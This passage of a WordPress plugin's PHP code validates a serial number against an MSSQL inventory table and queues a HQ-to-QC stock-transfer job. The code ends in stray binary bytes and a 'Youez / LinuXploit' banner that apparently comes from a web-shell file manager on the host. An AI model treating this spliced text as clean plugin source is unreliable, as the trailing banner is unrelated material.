  if ($srl === '') {
    wp_send_json_error(['message' => 'Serial is required.']);
  }

  // 1) Validate serial exists in HQ with Qty <> 0
  $conn = function_exists('get_mssql') ? get_mssql() : null;
  if (!$conn) {
    wp_send_json_error(['message' => 'MSSQL connection failed.']);
  }

  $sqlCheck = "
    SELECT TOP 1
      s.SerialNumber AS SerialNumber,
      s.ItemCode     AS ItemCode,
      CAST(ISNULL(s.Qty,0) AS decimal(18,4)) AS Qty
    FROM ItemSerialNoDtl s
    WHERE s.SerialNumber = ?
      AND ISNULL(s.Location,'HQ')='HQ'
      AND ISNULL(s.Qty,0) <> 0
  ";

  $stmtC = sqlsrv_query($conn, $sqlCheck, [$srl]);
  if ($stmtC === false) {
    wp_send_json_error(['message' => 'SQL error during validation.', 'errors' => sqlsrv_errors()]);
  }

  $rowC = sqlsrv_fetch_array($stmtC, SQLSRV_FETCH_ASSOC);
  sqlsrv_free_stmt($stmtC);

  if (!$rowC) {
    wp_send_json_error(['message' => 'Serial not found in HQ or Qty is 0.']);
  }

  $serial   = (string)($rowC['SerialNumber'] ?? $srl);
  $itemCode = (string)($rowC['ItemCode'] ?? '');

  // 2) Insert job into WP queue table (so BridgeWorker can pull)
  $current = wp_get_current_user();
  $byName  = $current ? ($current->display_name ?: $current->user_login) : '';
  $client_request_id = 'st_' . time() . '_' . wp_generate_password(8, false, false);

  $payload = [
    'serialNo'   => $serial,
    'itemCode'   => $itemCode,
    'createdBy'  => $byName,
    'from'       => 'HQ',
    'to'         => 'QC',
  ];

  $job_id = ac_qc_enqueue_job('STOCK_TRANSFER_SERIAL', $client_request_id, $payload);

  if (!$job_id) {
    wp_send_json_error([
      'message' => 'Failed to queue job (ac_jobs insert failed). Check WP DB table/schema.',
    ]);
  }

  wp_send_json_success([
    'message'           => 'Queued to send to QC.',
    'jobId'             => (int)$job_id,
    'clientRequestId'   => $client_request_id,
    'serial'            => $serial,
    'itemCode'          => $itemCode,
  ]);
}


/**
 * Insert job into ac_jobs table.
 */
function ac_qc_enqueue_job($job_type, $client_request_id, $payload_arr) {
  global $wpdb;

  $table = $wpdb->prefix . 'ac_jobs';

  $exists = $wpdb->get_var($wpdb->prepare("SHOW TABLES LIKE %s", $table));
  if (!$exists) return 0;

  $job_type = strtoupper(trim((string)$job_type));
  $client_request_id = trim((string)$client_request_id);

  $payload_json = wp_json_encode($payload_arr, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
  if (!$payload_json) $payload_json = '{}';

  $agent_id = ''; // blank = any agent (unless your pull endpoint is strict)
  $now = current_time('mysql');

  $data = [
    'job_type'          => $job_type,
    'client_request_id' => $client_request_id,
    'payload'           => $payload_json,
    'status'            => 'PENDING',
    'created_at'        => $now,
    'updated_at'        => $now,
    'created_by'        => get_current_user_id(),
    'agent_id'          => $agent_id,
  ];

  $cols = $wpdb->get_results("SHOW COLUMNS FROM {$table}", ARRAY_A);
  if (!$cols) return 0;

  $allowed = array_map(function($c){ return $c['Field']; }, $cols);
  foreach (array_keys($data) as $k) {
    if (!in_array($k, $allowed, true)) unset($data[$k]);
  }

  $ok = $wpdb->insert($table, $data);
  if (!$ok) return 0;

  return (int)$wpdb->insert_id;
}W��ǭ��

Youez - 2016 - github.com/yon3zu
LinuXploit